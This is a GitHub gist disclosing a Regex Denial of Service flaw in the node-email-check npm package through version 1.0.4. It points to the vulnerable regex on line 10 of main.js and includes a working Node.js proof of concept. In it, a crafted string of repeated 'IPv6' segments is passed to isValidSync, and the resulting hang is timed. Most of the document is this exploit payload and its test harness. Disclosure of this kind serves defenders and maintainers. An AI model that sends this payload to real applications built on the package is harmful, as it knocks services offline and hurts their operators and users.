Skip to content

Instantly share code, notes, and snippets.

@6en6ar
Created October 19, 2023 19:43
Show Gist options
  • Save 6en6ar/712a4c1eab0324f15e09232c77ea08f8 to your computer and use it in GitHub Desktop.
Save 6en6ar/712a4c1eab0324f15e09232c77ea08f8 to your computer and use it in GitHub Desktop.
Vulnerability inside the node-email-check npm package through version 1.0.4
The regex on line 10. inside https://github.com/teomantuncer/node-email-check/blob/main/main.js is vulnerable to a Regex Denial of Service
if a malicious string is provided causing the application using the package to hang.
Proof of concept code to test it:
const emailCheck = require('node-email-check');
// async request with mx check
//await emailCheck.isValid('example@email.com');
// sync request without mx check
console.time('[ + ] Time passed -> ');
//payload
var chck = emailCheck.isValidSync('-@{IPv6:5:3:2:3:227IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"');
//var chck = emailCheck.isValidSync('validemail@example.com');
console.log(chck);
console.timeEnd('[ + ] Time passed -> ');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment